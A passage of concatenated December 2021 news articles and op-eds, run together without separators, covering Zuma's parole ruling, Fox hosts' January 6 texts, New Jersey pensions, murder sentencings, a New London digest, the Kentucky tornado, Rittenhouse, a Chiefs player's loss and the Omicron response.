fraud trial related to an arms deal in the late 1990s. Zuma has repeatedly said he is the victim of a political conspiracy. Prison authorities say his release on parole was compelled by a medical report, but his ailment has never been disclosed. He did, however, undergo surgery after he was imprisoned. The former president's spokesman said at the time that imprisonment had had "an exponential impact in terms of deteriorating his condition". His lawyers also argued that their client's illness had rendered him incapacitated. South Africa's main opposition party, the Democratic Alliance, which was part of the legal challenge against the decision to release Zuma from prison, welcomed Wednesday's ruling. "This is a big victory for the rule of the law and the principle of equality before the law," its leader John Steenhuisen said. The High Court in Pretoria ruled that the decision by the head of the correctional service Arthur Fraser, a known ally of Zuma, to release the former leader on medical parole was "reviewed, declared unlawful, and set aside". Story continues Lawyers representing Zuma have appealed against the court order, so there is no immediate prospect of him returning to prison. Find out more about Jacob Zuma: Authorities preparing for possible protests By Nomsa Maseko, BBC News, Johannesburg The decision to revoke Zuma's parole has sent shockwaves across the country, with some of his supporters threatening mass protests reminiscent of the violence in July that left hundreds dead and led to costly destruction of businesses. But other citizens have welcomed the ruling, saying it sends a strong message that all are equal before the law. Many expect the former president to mount another vigorous legal fight against the ruling, he once said that serving a prison sentence - at his age and amid a global pandemic - was akin to a death sentence. Rhetoric aside, the authorities here are not taking any chances and the BBC understands that law enforcement agencies, who were caught off-guard by the last unrest, are preparing to counter possible violent protests and looting if Zuma is jailed again. Zuma's legal woes: Sean Hannity. Illustrated | Getty Images, iStock So now we know: Although Fox News' primetime message for much of the past year has been that Democrats are wildly exaggerating the seriousness of the insurrection that took place on Capitol Hill last Jan. 6, major figures at the network including Sean Hannity, Laura Ingraham, and Brian Kilmeade spent that fateful afternoon fretfully texting then-White House Chief of Staff Mark Meadows, insisting he get then-President Donald Trump to intervene to stop the violence. That Fox's on-air talent lies to its audience is hardly surprising. But this fresh revelation of bad faith teaches us something more important. It shows quite clearly that the practical effect of the network in the media ecosystem is continually to shift the Overton Window the range of politically acceptable speech and deed further and further to the right. It does this by laundering words and deeds that once would have been almost universally condemned for their radicalism. The process couldn't be clearer. Fox News' business model is to serve as a propaganda service for the Republican Party. This led the network to spend most of the Trump administration defending the former president from his critics as forcefully as possible. But the network had a problem when Trump refused to accept the results of the just-completed 2020 presidential election, which Fox's own election analysts had called for then-candidate Joe Biden. Evidence of fraud failed to materialize, and even Republican-appointed judges refused to take the president's side in court. It was in this context that Hannity, Ingraham, and Kilmeade expressed their concern to the White House on the afternoon of Jan. 6, as misinformed supporters of the president forced their way into Congress to demand a halt to certification of the election. Trump never backed down, but the Fox personalities still wouldn't criticize his irresponsible rhetoric on air. That necessitated a reconfiguration of the network's position, eventually producing the constellation of claims with which viewers are still barraged whenever the insurrection is discussed in prime time: The unrest was just a protest by American patriots; it was a false flag operation set in motion by the FBI; it wasn't a big deal, but Democrats won't stop talking about it because of their obsessive Trump Derangement Syndrome; and so forth. Story continues The effect of this reframing is to normalize and mainstream events that formerly seemed shocking. That's how Fox News ends up moving the Overton Window inexorably to the right by treating anything said or done by members of an increasingly radicalized GOP as perfectly reasonable and justified. Even when it involves trying to overthrow American democracy itself. You may also like Let's pre-emptively stop pretending the metaverse is impressive 5 heady facts about late Monkees singer-songwriter Michael Nesmith 5 cartoons about Russia's looming invasion of Ukraine As members of the New Jersey Legislature consider a proposal to add themselves back into the struggling state public pension system, we have just completed an analysis that shows the pensions are at a tipping point. In fact, New Jersey lawmakers face difficult choices to bring the states public employee pensions back to financial sustainability since our state plans have suffered more significant financial deterioration than those of most other states. The last thing they should be doing is adding themselves back into the pension program for the first time since 2010. In an analysis we released this week, we found that the pension program is facing a looming crisis because the reality of the demographics of plan participants has not been adequately reflected. The participants of New Jerseys main public plans have aged considerably since the turn of the 21st century. In 2001, the PERS plan had 2.7 active employees for each beneficiary; by 2019, the worker-to-beneficiary ratio had fallen to just 1.4 workers to 1 beneficiary. The Teachers plan fell from a worker-to-beneficiary ratio of 2.4 workers per beneficiary in 2001 to 1.3 per beneficiary in 2019, while the Police and Fire plan declined from 1.8 workers per beneficiary in 2001 to just 0.9 in 2019, meaning that the Police and Fire plan had more beneficiaries than active participants. A pension with older demographics is less able to handle investment risk and other risks. Despite claims to the contrary, we firmly believe New Jerseys public plans cannot invest their way out of their unfunded liabilities. The three main New Jersey public employee retirement plans assumed 8.75% annual returns for coming years. However, in the 19 years since then, New Jerseys pensions received annualized returns of just 5.40%. Roughly speaking, a 1% drop in the investment return/discount rate reduces the funded ratio for a public plan by about 20 percentage points. Given the sensitivity of pension funding health to investment returns, a nearly two-decade period of returns over three percentage points below the assumed rate will have disastrous effects on any defined benefit pension system. Even the record 27% return of the most recent fiscal year does not materially cover 19 years of prior deficits. Story continues Report: NJ public pensions face fiscal peril as new police and fire retirees grow As a result, New Jerseys problem has grown faster than other states: nationally, unfunded state and local government pension liabilities remained roughly stable at about $1 billion from 1975 through 1999, but accelerated rapidly in the following two decades, reaching $4.0 trillion in 2020. The combined unfunded liabilities of New Jersey public plans have increased significantly as well, from $58 billion in 2000 to $186 billion in 2019. No doubt, these statistics are numbing. The scale of the problem is hard to comprehend. One thing we know for sure is that instead of adding themselves back into the pension program, legislators should be looking to protect taxpayers and the state credit rating. So instead, we offer the following two recommendations: Initiate increased risk-sharing between the government and public employees. Balance more modest pension benefits with higher contributions or reductions to other forms of compensation, such as health benefits. Currently, the government bears nearly all the investment risk with New Jersey public pensions. When investment returns fall short of assumed levels, the government must increase contributions while employee contributions remain unchanged. However, in states such as Nevada, a blue state, and Utah, a red state, both the government and employees adjust their contributions if investment returns fall short. Additionally, pension benefits for New Jersey public employees are substantially more generous than those provided in the private sector and cost more than other public plans outside our state. While all employees would prefer more generous retirement benefits, a well-run defined contribution plan in conjunction with Social Security, can establish retirement security in a flexible and financially sustainable way. A defined contribution plan, like a 401(k), shares investment risk and ensures full funding. Some state governments as well as the federal government have already established defined contribution plans. Despite claims to the contrary, we firmly believe New Jerseys public plans cannot invest their way out of their unfunded liabilities. The three main New Jersey public employee retirement plans assumed 8.75% annual returns for coming years. However, in the 19 years since then, New Jerseys pensions received annualized returns of just 5.40%. The Murphy administration and the Legislature must stop crossing their fingers that the pension program funding crisis will grow itself out of the problem. Its quite the opposite. The light at the end of the tunnel is an train heading right towards taxpayers if action is not taken now. Andrew Biggs is senior fellow at the American Enterprise Institute in Washington, D.C. Thomas Healey served as chair of the New Jersey Pension and Health Benefit Study Commission and was Assistant Secretary of the Treasury for Domestic Finance under President Ronald Reagan. This article originally appeared on NorthJersey.com: NJ pension fund is crossing the tipping point A judge sentenced a man found guilty last week of murder to life in prison Tuesday after denying his attorney's motion for a mistrial. Circuit Judge Scott Suskauer imposed the life sentence on Joshua Peart, 22. Peart was found guilty by a jury last Wednesday in the October 2019 shooting outside a Boynton Beach mini-market that killed 38-year-old Javon Lekeith Johnson and wounded a teenage boy. Peart, who fired the shots that killed Johnson and wounded the youth, was convicted of first-degree murder and a lesser charge of attempted second-degree murder. During the trial, his attorney, Franklin Prince, requested a mistrial, arguing that a witness for the state had provided testimony that was prejudicial and inadmissible. More: Gardens man charged with threatening violence against two members of Congress More: One teenager killed, one wounded in shooting in West Palm Beach More: Man convicted of killing Brooke Preston after claiming he was 'sleepwalking' seeks new trial State responds to defense motion for mistrial In a written response filed with the court Monday, the Palm Beach County State Attorney's Office asked that the defense's motion be denied, arguing that no error occurred during its questioning of Boynton Beach Police Detective Marco Villari, and that the error alleged by the defense played no role in the jury's verdict. Peart was one of two men accused in the shooting death of Johnson outside the Cherry Hill Mini Market on Fourth Street on Oct. 18, 2019. Eric Graham, 22, of Boynton Beach is charged with first degree murder and attempted first-degree murder. Graham has pleaded not guilty to the charges. His trial started Monday. In its response to the motion by Peart's defense team, the state noted that it asked Villari whether police had interviewed Graham during the investigation. Villari testified that Graham was interviewed by police investigators. Sign up for our Post on Boynton Beach weekly newsletter, delivered every Thursday! Story continues Villari was asked whether any other suspects had been identified, to which he replied, "Yes." Villari was then asked whether Peart had been identified as a suspect, prompting an objection from Prince that was sustained. "The state did not seek to make an inference that Eric Graham, the codefendant provided the defendant's name as a suspect," Assistant State Attorney Francine R.A. Edwards wrote in the state's response. "The State recognizes, as this Court did, that the timing of the question about the suspect being a defendant was unfortunately after the question of whether Eric Graham had been interviewed." The state noted that Villari did not answer the question or provide any additional testimony about Graham's interview. Investigators said Peart fired shots from the window of a passing SUV that Graham was driving. As the gunfire happened, a 13-year-old boy was standing inside the convenience store waiting to pay for items. The teen was struck in the face, but survived his injury. Johnson was shot twice in the back as he tried to run into the store for cover. He reportedly was the former boyfriend of Graham's mother. Graham told investigators he was angry and wanted to confront his mother's ex-boyfriend after she told him the man had pulled a gun on her during an argument. Graham reportedly left his residence in Boynton Beach that day and picked up Peart and someone Peart knew before driving to the store. He pointed out his intended target to Peart, who then then begin firing shots from an AR-15 rifle, police said. jwhigham@pbpost.com @JuliusWhigham This article originally appeared on Palm Beach Post: Judge denies motion for mistrial, sentences man to life for 2019 murder A Washington County Circuit Court judge on Tuesday refused to vacate a 25-year prison sentence for a man convicted of assault in the shooting death of a 48-year-old man at Salem and McDowell avenues in 2017. Although Clarence Warren Broussard III was charged with first-degree and second-degree murder in the killing of Tony Mazingo, a jury in a June 2019 trial acquitted Broussard of the murder charges and convicted him of first-degree assault. Washington County Circuit Judge Daniel P. Dwyer denied a defense motion to delay sentencing at the conclusion of Broussard's four-day trial and handed him a maximum sentence of up to 25 years in prison. Defense attorney Andrea Cheeatow filed an appeal, asking several questions of the Maryland Court of Special Appeals regarding the case. Among the questions: Did the circuit court abuse its discretion by denying Broussard's request to delay sentencing at the conclusion of his trial? Case sent back The appeals court agreed that the defendant was denied his right to present evidence and make arguments regarding his sentence. "We cannot conclude beyond a reasonable doubt that the court's error was harmless," the appeals court said in a July 26 decision. The appeals court sent the case back to Washington County Circuit Court for Broussard's re-sentencing, which happened Tuesday afternoon. Washington County Circuit Judge Brett R. Wilson handled the re-sentencing Tuesday afternoon after Dwyer recused himself from the process. Washington County Assistant State's Attorney Christopher McCormack told Wilson that sentencing guidelines for such a conviction calls for 18 to 25 years in prison. McCormack said Dwyer considered the case to be a homicide and that Broussard "should be sentenced as a homicide." "His sentence was appropriate," McCormack told Wilson. Defendant has 'done a lot of growing' Cheeatow talked about Broussard's struggle with alcohol and drugs. She said her defendant would like to return to California where he once lived, and that family there would welcome him in an attempt to get Broussard the help he needs. Story continues "He's done a lot of growing," Cheeatow said. Cheeatow asked Wilson to give Broussard a 10-year sentence with the remaining of the 25-year sentence suspended. He has been incarcerated since 2017. Story background: Appeals court rules man must be re-sentenced in Salem Avenue murder Morgan County death: Authorities investigating death at West Virginia's Berkeley Springs State Park Hagerstown arson: Hagerstown man charged in Monday fire at a home where five adults, infant were asleep Hagerstown police theorized in charging documents that Broussard was angry at Mazingo, thinking he had something to do with the death of Broussard's cousin Charles Bradshaw IV about three weeks before the shooting. Washington County Sheriff's Office Detective Casey Swope previously testified that Mazingo was with Bradshaw the night of Sept. 3. Bradshaw was later dropped off at Sheetz in Williamsport. Bradshaw appeared on a Department of Natural Resources security video, which showed him driving his car to a parking lot near Cushwa Basin. He got out and walked alone toward the water. Bradshaw's body was found floating the next day in the basin, but investigators didn't suspect foul play. 'Piece of garbage' Members of Mazingo's family appeared at Tuesday's re-sentencing. They said surveillance cameras at the Cushwa Basin didn't show Mazingo with Bradshaw the night he died. They also said Broussard should be sentenced to at least 25 years in prison. Mazingo's brother James Mazingo stood up in court and called Broussard a "piece of garbage." "In my opinion, he got off light," James Mazingo said of Broussard's sentencing. Wilson said it's unfortunate the troubles Broussard has faced in his life. McCormack also listed detail's of Broussard's criminal record. But Wilson said "none of that justifies the death of a human being." Wilson ruled that Dwyer's sentence will stand. Mazingo was standing on the corner of Salem and McDowell avenues on Sept. 24, 2017, when, according to trial testimony, a man in a dark, hooded sweatshirt walked up and shot Mazingo twice in the head. Mazingo died four days later. A black sweatshirt was found in an alley beside Goodwill Industries, and a state forensic scientist testified it had DNA from four people on it. There was a high probability that Broussard was one of the major DNA contributors found on the garment, according to trial testimony. A state witness testified that he saw Mazingo's killer get out of a Dodge Stratus. However, the defense played a 911 call in which a woman tells the dispatcher she saw the shooter jump out of a Ford Explorer. The state produced surveillance camera photos that showed both a Stratus and an Explorer near Salem and McDowell avenues around the time of the shooting. Barbara Mallott, Broussard's former girlfriend, testified that Broussard told her to drive him to Salem Avenue after getting a phone call that night. He then told her to stay in the area and wait for his call. When Mallott picked him up near Goodwill Industries, Mallott testified that Broussard told her "he shot Tony." Mallott and her daughter testified that Broussard came back to the car without the black hooded sweatshirt he wore when he got out. Cheeatow said in a previous phone interview that she doesn't know how rare it is to have a re-sentencing ordered in such a case. But she said at the time it's the first it's happened with a case of hers since she started practicing law here in 2005. This article originally appeared on The Herald-Mail: Judge declines to vacate 25-year sentence in 2017 Hagerstown murder Welcome back, New London. Here's all the local news, events, and community posts you need for Thursday, Dec. 16. First, today's weather: Variable clouds; breezy, mild. High: 56 Low: 51. Here are the top stories in New London today: 3 Juveniles Charged After School Lockdown: New London Police: Police seized a BB gun and a knife after investigating an incident that prompted a lockdown at a middle school in New London on Monday. (New London Patch) Candle sparks house fire in New London; displaces 8: The fire was early Wednesday morning at a Truman Street home. (theday.com) New London County Government: Human Services ARPA Workshop (Press Release Desk) New London County COVID-19 vaccine tracker: 73% of people fully vaccinated (Norwich Bulletin) Coronavirus Cases Up 113 Percent Recently In New London County: CDC (New London Patch) Today's New London Daily is brought to you in part by Newrez, a leading nationwide mortgage lender. Make a smart move for your future and refinance with Newrez today. Call 844-979-1707 to connect with a Newrez loan officer. Newrez, LLC (NMLS #3013) Today in New London: Santa's Christmas Float 2021 Online Streaming Free (9:00 AM) From my notebook: Naval Submarine Base New London: "SUBASE New London and the Thames River Detachment of the Marine Corps donated over 100 toys to the Toys for Tots program December 14, 2021. Toys for Tots is a program run by the United States Marine Corps Reserve which distributes toys t..." (Facebook) United States Coast Guard Band: "#ICYMI Our Holiday Matinee concert may have ended, but you can still view it on our YouTube channel. Speaking from personal experience, it makes great wrapping presents music! The performance features the Coast Guard Academys Command Ma..." (Facebook) RMMS- New London: "Our vaccination clinic is going on now! Visit until 7 p.m. tonight!" (Facebook) New London Police Union: "724 and Fishers Florist Remembering Sandy Hook at the Emily Parker Playground in Riverside Park." (Facebook) Coast Guard Academy Lacrosse: "SOME BEARS EXCHANGE: nobody tells me these things? I knew that Caleb and Michael were at Air Force - no one told me Jack was at West Point. Just got these great photos featuring COAST GUARD ACADEMY MEN'S LACROSSE player Cadet 2/c Jack Co..." (Facebook) FRESH New London: "We maintain snack beds around the city which are open to any and everyone to harvest from. We grow fruits and vegetables such as peas, tomatoes, kale, collards, and hot and sweet peppers. We have snack beds around Cottage St, Mercer St, ..." (Facebook) U.S. Coast Guard Academy Alumni Association: "This holiday season, Special Command Aides to RADM Bill Kelly and Quarters One Managers, CSC Meaghan Marquardo and CS2 Felicia Juarez, share their favorite seasonal recipes with our readers! Join them for a live online demo preparing a Y..." (Facebook) Public Library of New London, CT: "Parents, our friends at Community Health Resources have some amazing opportunities for you all. "We have Circle of Security (COS) which is a relationship based program grounded in attachment theory. This program focuses on helping parent..." (Facebook) FRESH New London: "Can you help today?? We just had 3 people call out sick and we're seriously understaffed!" (Facebook) Rotary Club of New London: "Keeping up with tradition Some traditions took on a different look these past 2 years - like the NLRC Holiday Program. In past years young children gathered with Rotarians for a story time narrated by Santa and Mrs. Claus and were gift..." (Facebook) New London Public Schools: "Come join us on Wednesday, December 15, 2021 from 5:00 - 6:30pm for "U for Youth, A Night of Literacy." A night focused on K-5 literacy, where families can explore different stations while participating together in literacy games, autobi..." (Facebook) Custom House Maritime Museum: "Great opening for SECONN's annual photography show. There's our friend Mark Munroe!" (Facebook) Naval Submarine Base New London: "Don't forget to check out the Sailor to Sailor newsletter for stories with Navy news you need to know. Follow the link for more! https://www.facebook.com/MyNAVYHR/posts/402835991512042" (Facebook) CB Jennings Elementary School: "Come join us on Wednesday, December 15, 2021 from 5:00 - 6:30pm for "U for Youth, A Night of Literacy." A night focused on K-5 literacy, where families can explore different stations while participating together in literacy games, autobi..." (Facebook) Call The House Man: "Advice for First-Generation Homebuyers https://rem.ax/3pWNrrf" (Facebook) Lyman Allyn Art Museum: "A friendly reminder the Museum is closing today at 3pm for a staff holiday party. We will resume our regular business hours tomorrow, doors open at 10am!" (Facebook) Public Library of New London, CT: "Check out these biographies available for adoption today. Don't' miss the deal of the Week: Sponsor 2 books from the adult collection for $10. Visit www.plnl.org/aab2021 for a list of all available books waiting to be sponsored." (Facebook) U.S. Coast Guard Academy Alumni Association: "Tune in today at noon as CSC Meaghan Marquardo and CS2 Felicia Juarez, Special Command Aides to RADM Bill Kelly and Quarters One Managers, share their favorite seasonal recipes with you!" (Facebook) Story continues From our sponsors thanks for supporting local news! Events: Brighten The First Day Of Winter With 15 Percent Off FTDs Sunniest Blooms (December 21) Add your event For sale: "Rosedal" Rose Flower Colorful Gift-Boxed Mug 13.5 oz (Details) Add your item Loving the New London Daily? Here are all the ways you can get more involved: Send a friend or neighbor this link so they can subscribe Get your local business listed in front of readers Send me a news tip or suggestion at NewLondon@Patch.com Thanks for following along and staying informed! I'll see you soon. Chris Rhatigan About me: Chris Rhatigan is a freelance writer and editor. This article originally appeared on the New London Patch MAYFIELD, Ky. Some employees who survived a tornado that leveled their candle factory are considering taking legal action against the company, according to an attorney who is representing some of the workers. The move by several injured Mayfield Consumer Products employees comes after five workers told NBC News that as the twister was bearing down on the city Friday their supervisors warned they could be fired if they tried to flee. At least eight workers died, Kentucky officials have said. In a news release, attorney Amos Jones said he has been retained by several of the survivors. One of workers Jones represents is 20-year-old Elijah Johnson, who told NBC News earlier that he was working in the back of the building when several employees wanting to head home walked in to speak with supervisors. Johnson said he asked to leave and was told he'd be fired. They should have let us go that night, said Johnson, who is suffering from groin, neck and back pains. I feel like I need proper representation. Jones said he is not identifying the other workers who have retained his services. Jones is working with Lexington-based lawyer William Davis. McKayla Emery, 21, a candle factory worker who was severely injured when the tornado hit and suffered large burns across her legs, buttocks and forehead, told NBC News she has been in touch with Jones. I honestly dont know how to feel about about everything since the tornado, Emery said Wednesday after she was released from the hospital. I havent really given it much thought. I havent even been home for 24 hours. Theres so much going on. Emery was also one of the workers who told NBC News that colleagues who wanted to leave work ahead of the tornado were mistreated. Company spokesman Bob Ferguson declined to comment Wednesday. Earlier, Ferguson adamantly denied that managers had told employees that leaving their shifts meant risking their jobs. He said they follow guidelines of the Federal Emergency Management Agency and the Occupational Safety and Health Administration. Story continues Those protocols are in place and were followed, he said. Mayfield CEO Troy Propes told NBC News earlier this week that no one was forced to stay at the factory the night the tornado hit. The company said Tuesday that it is retaining an independent expert team to review the actions of our management team and employees on the day of the tornado strike. Were going to do a thorough review of what happened, and were asking these experts to critique our emergency plans and to offer any suggestions on ways they may be improved, if any. Kentucky Gov. Andy Beshear said Tuesday that the state has opened its own investigation into what happened at the factory. Everyone is expected to live up to certain standards of both the law, of safety and of being decent human beings, he said. I hope everybody lived up to those standards. So far 75 people had been confirmed dead across the state and 100 more remain unaccounted for, Beshear said Tuesday. Twelve of those who were killed were children, one of whom was 2 months old. Deon J. Hampton reported from Mayfield, and Corky Siemaszko from New York. MAYFIELD, Ky. (AP) A Kentucky man suffered a fatal heart attack while cleaning up storm debris at his daughter's home, authorities said as the death toll edged upward from a recent tornado outbreak across multiple U.S. states. Services for Terry Martin Jayne, 67, were scheduled Wednesday in his hometown of Russellville. Warren County coroner Kevin Kirby said Jayne suffered the heart attack Saturday and was taken to an emergency room where he was pronounced dead. Jayne had been helping clean up debris at his daughter's home in Bowling Green, where officials said 14 others were killed by a tornado, including 11 people on one street. According to his obituary, Jayne had operated a floral shop for 45 years. He is survived by his wife, a son and daughter, three grandchildren and four siblings. He was, as he always was, helping someone else, Jayne's brother, Bruce Russell-Jayne of Carmel, Indiana, wrote on Facebook. Rest in Peace my Little Brother. We are in shock and cant believe you are gone. Jaynes death pushed the total of storm-related casualties in five states to 89, including 75 in Kentucky. The National Weather Service continued to assess the scope of the storm. Eight states recorded at least 41 tornadoes during the severe weather that occurred on Dec. 10 and 11, including 16 in Tennessee and eight in Kentucky. On Wednesday, the weather service said the tornado that tracked across a wide swath of western Kentucky, from Fulton to Muhlenberg counties, was preliminarily classified as an EF4, with peak estimated winds of 190 mph (305 kph). The most significant damage occurred in Arkansas, Tennessee, Missouri and Kentucky, where President Joe Biden visited on Wednesday to comfort those who suffered grievous losses in the storms. In Kentucky, Lacedric Richardson and his two daughters stopped by to pick up some necessities at Mayfield High School, where the gymnasium was packed with food, clothes, toiletries and other supplies. Story continues Richardson, 36, said he was scheduled to be at work Friday at the candle factory where eight of his co-workers were killed, but happened to be out sick. I feel all kinds of mixed emotions knowing that I could have been there, he said. I feel grateful, but then I feel like I could have done more if Id have been there. The candle company announced this week that it will give each employee $1,000 to help with expenses and perform an independent review of its emergency protocols. The state is also investigating the factory deaths. ___ Raby reported from Charleston, West Virginia. Associated Press reporter Dylan Lovan in Louisville, Kentucky, and AP Science Writer Seth Borenstein in Washington, D.C also contributed. Less than a month after being cleared of all charges relating to the shooting of three men two fatally during a riot, Kyle Rittenhouse has already appeared on several high-profile conservative shows, including Louder with Crowder, Tucker Carlsons Fox News show, and Charlie Kirks podcast. The 18-year-old is now set to appear at Turning Point USAs AmericaFest, alongside the likes of Donald Trump Jr, Senator Ted Cruz, and the aforementioned Carlson. Event organisers claim it will be the greatest freedom party ever, with almost exclusively right-wing politicians and media personalities having been invited thus far. And there it is pic.twitter.com/cVVNWoT4nb Ron Filipkowski (@RonFilipkowski) December 15, 2021 Many on the political right have warmly embraced Mr Rittenhouse ever since he was cleared of fatally shooting two protesters in August of last year. Mr Rittenhouse shot and killed Joseph Rosenbaum and Anthony Huber in what he said was an act of self-defence after going to a riot in Kenosha, Wisconsin sparked by the police shooting of a Black man. Other conservative personalities, like Steven Crowder and Glenn Beck, leapt to the defence of the Illinois native, who argued in court that he was attempting to protect property in the midst of a Black Lives Matter protest. Mr Rittenhouse has already met with former President Donald Trump, at the 75-year-olds Mar-a-Lago resort. This was followed up with an appearance on Turning Point USA founder Charlie Kirks podcast which subsequently led to an AmericaFest invite. Mr Kirks interview with the recently acquitted teen has amassed almost 200k views on YouTube, which underlines his popularity online. With this in mind, in hardly surprising that Mr Rittenhouse is set to appear at AmericaFest. According to its website, it is a non-profit organization whose mission is to identify, educate, train, and organize students to promote freedom. Story continues However, Turning Point and Mr Kirk have also been accused of promoting misinformation. In a statement given to Newsweek, Andrew Kolvet, spokesperson for Turning Point USA, added: TPUSA Founder Charlie Kirk has already interviewed Kyle [Rittenhouse] on his podcast and hes looking forward to having Kyle take the main stage and tell the world what hes been through, what hes learned and what he plans to do next. If the initial reaction to the announcement is any indication, it seems a lot of folks are excited to hear what he has to say as well. Read More National Archives releases nearly 1,500 secret documents related to JFK assassination Trump is still trying to shield his tax records from Congress House votes to hold Mark Meadows in contempt and refers him for prosecution Kansas City Chiefs CB LJarius Sneed is expected to rejoin the team on Wednesday after a brief absence following the stabbing death of his oldest brother, TQ Harrison. Sneed missed the teams Week 14 game against the Las Vegas Raiders while traveling home to Minden, Louisiana to be with his family. On Wednesday morning, Sneed issued a statement via his agent thanking Chiefs fans and the organization for their support during a very tough time in his life. That statement was shared on Twitter by Kansas City Star reporter Sam McDowell. I would like to thank everyone, especially the fans and the Kansas City Chiefs organization, for all the love and support they have given me the past few days during such a trying time. It means so much to me. We deeply appreciate everything you are doing to help us get through this difficult time. Your thoughts and prayers mean so much to me. Thank you. L'Jarius Sneed released a statement to The Star through his agent, Safarrah Lawson, thanking Chiefs fans for their support. Full statement below: pic.twitter.com/JCUjsU25q8 Sam McDowell (@SamMcDowell11) December 15, 2021 The organization threw their full support behind Sneed, even helping his family get back home to Louisiana from Missouri in a timely fashion. The fans showed tremendous support for Sneed, both on social media and with signs at the game on Sunday. After the win over the Raiders in Week 14, Sneeds teammates dedicated the win to him and his family. List Vaccines Reach Remote Costal Areas Of Philippines A healthcare worker prepares a dose of Sinovac CoronaVac COVID-19 vaccine at a rural village on December 01, 2021 in Aringay, La Union province, Philippines. The Philippines is rushing to vaccinate its population as it mulls making COVID-19 vaccination mandatory and amid the looming threat of the Omicron variant of the coronavirus. Credit - Ezra Acayan/Getty Images The new, heavily mutated variant of SARS-CoV-2, Omicron first detected by scientists in South Africa, has put the public health community worldwide on high alert and the public on edge. Since then, evidence has mounted that the variant is highly transmissible. It is far more transmissible than, and is coming to predominate over, its immediately preceding variant, Delta. Omicrons doubling timehow long it takes for the number of coronavirus cases to doubleis just two to three days. The first indications from South Africa are that infection with the Omicron variant may have milder consequences than infections with previous variants, especially in vaccinated people. Despite some claims, its premature to conclude that Omicron will cause mild illness with few consequences. For example, in South Africas Omicron wave, infected people have tended to be younger than in previous waves, and we know that younger people are more likely to have more mild disease when infected with any SARS-CoV-2 variant. And given the time lags between infections, hospitalisations, and deaths, it is still too soon even for South Africa to pick up a signal in its excess death monitoring system, one of the few real-time such systems among low- and middle-income countries (LMICs). Omicron is coming at us fast, but its full impact will take time to become apparent. How did high-income countries respond to the news? Unfortunately, with knee-jerk travel bans rather than anything that might be mistaken for a coherent public health response. A flight crew depart the International Arrivals area at Dulles International Airport in Dulles, Virginia, on November 29, 2021. - Starting on November 29th travelers from certain parts of southern Africa will be banned from flying to the United States unless theyre citizens or legal permanent residents due to the discovery of a new Covid-19 variant, Omicron. Jim Watson/AFP Punishing South Africa for alerting the world to a new variant of concern is exactly the wrong way to be dealing with Omicron. The only effective response is global action and solidarity. Unfortunately, examples of both have been thin since the pandemic started. Omicron has so far been detected in 63 countries, and is surging in many of them. There is preliminary evidence, including from South Africa and the United Kingdom, that COVID-19 vaccines are less effective against Omicron than against Delta in preventing illness. The good news is that emerging data show that a booster dose restores high levels of vaccine effectiveness. The bad news is that too many people in the world have not had any doses of vaccine at all. We will need strategies worldwide to enhance vaccine equity and access and to scale up other protective measures alongside vaccines. Early evidence also suggests that unvaccinated people who have been infected with the virus in the past are not well-protected against Omicronre-infection appears to be common. Story continues Given all of these initial data, the World Health Organization (WHO) calls Omicron a high risk variant that could lead to further surges worldwide with severe consequences. What might these surges look like? A massive spike in cases worldwide could be hugely disruptive and could lead to increased deaths. Even in the best-case scenario in which Omicron causes a mild illness, the repercussions could be huge. Imagine, for example, that the entire world caught a cold at the same time. There would be a rise in deaths among older, vulnerable peoplesuch as those in nursing homesand the mass absences from work would have major societal consequences. Even if only a small percentage of people get ill or die, a small percentage of a very large number would still be a large number. And in many nations, including the U.S., there is no slack in the health system to deal with another surge in COVID-19 hospitalizations. Hospitals are already at capacity dealing not just with COVID-19 (cases and deaths from Delta are rising in the U.S.) but with catching up on a backlog of surgeries and other treatments delayed or deferred by the pandemic. Yet, there is no need for fatalism. Unlike the start of the pandemic, we now have a wide range of science-based tools that we can and must marshal. A health worker prepares to administer a dose of the Pfizer-BioNTech Covid-19 vaccine at Cape Flats Development Association (CAFDA) in the Egoli township of Cape Town, South Africa, on Tuesday, Nov. 30, 2021. South African scientists were last week the first to identify the new variant now known as omicron, and while symptoms have been described as mild, the exact risk from the new strain is still uncertain. Dwayne Senior/Bloomberg In the face of the Omicron risk, the number one priority for all countries is to vaccinate the unvaccinated, especially those at highest risk: older adults, health care workers (including those who work with and care for the elderly in care homes), and people with underlying health conditions. As the WHO notes, vaccines are likely to have some effectiveness against Omicron, particularly for severe disease, even if the performance is reduced compared with other variants. Globally, the brunt of illness and death will fall on LMICs, where very few people have been vaccinated. Only 7.5% of Africas population are fully vaccinated. After an exceedingly slow start, the supply of vaccines to LMICs has increased in recent months, and some middle-income countries in particular have been able to achieve good vaccination coverage. But theres still much to be done to expand vaccine access. Rich nations should urgently donate doses to initiatives such as the African Vaccine Acquisition Trust and COVAX that are vaccinating populations in LMICs. So far, such donations have been miserly, ad hoc, and unreliable. Rich nations have also pre-purchased way more doses than they can ever use and should redirect the excess to LMICs immediately. Alongside donations, rich countries and vaccine companies must stop blocking LMICs from making their own doses. Omicron will hopefully spur the rich world to finally share vaccine patents and manufacturing know-how and support the globalized manufacture of doses. In the United States, 3 in 10 people have not even had one vaccine dose. Political partisanship in the US is unfortunately the single most important predictor of vaccination status, with Republicans much less likely to be vaccinated than Democrats, so we will need Republican leaders to advocate that the unvaccinated get their shots. Given the emerging data that a booster dose improves vaccine effectiveness, getting boosters urgently to high-risk people, such as health workers, incarcerated people, and nursing home residents, is crucial. Staff working in these settings must also be vaccinated. Since nursing home staff can spread coronavirus to residents, and given that low vaccination rates among staff are linked with higher rates of infection and death among residents, theres a strong case for mandatory staff vaccination in these settings and regular rapid tests to prevent the virus being introduced to them. A patient rests on a bed at the respiratory screening center in Shifa Hospital in Gaza City, Gaza, on Thursday, Dec. 2, 2021. Top Israeli coronavirus officials took conflicting positions on the need to weigh mandatory inoculation in light of the omicron variant, with the unvaccinated accounting for a large percentage of the country's serious Covid cases. Ahmad Salem/Bloomberg But a vaccine only strategy will not be enough to blunt the force of Omicron and prevent spikes in hospital admissions. We need vaccine plus: a surge of other evidence-based measures, alongside vaccines, to match the surge of SARS-CoV-2. We need a comprehensive public health strategy. Governments should make available free rapid antigen tests (as has been done in the UK) and high-filtration masks to all households, even by mail. A positive rapid test shows you are infectious to others, which gives you the knowledge to stay home and help break the cycles of transmission. Visitors to high-risk settings, such as nursing homes, should do a rapid test and not visit if the test is positive. In addition, physical distancing, ventilating indoor spaces, hand hygiene, avoiding crowds, and reducing ones number of social contacts can also help to control transmission of the more transmissible Omicron variant. In the U.S., the same partisanship that has influenced vaccination uptake is likely to also influence adoption of these other prevention measures, so we will need Republican governors and mayors to do their part to help protect their constituents. We need a collective, non-partisan, public health response. The virus doesnt care how you vote. We cannot know, of course, 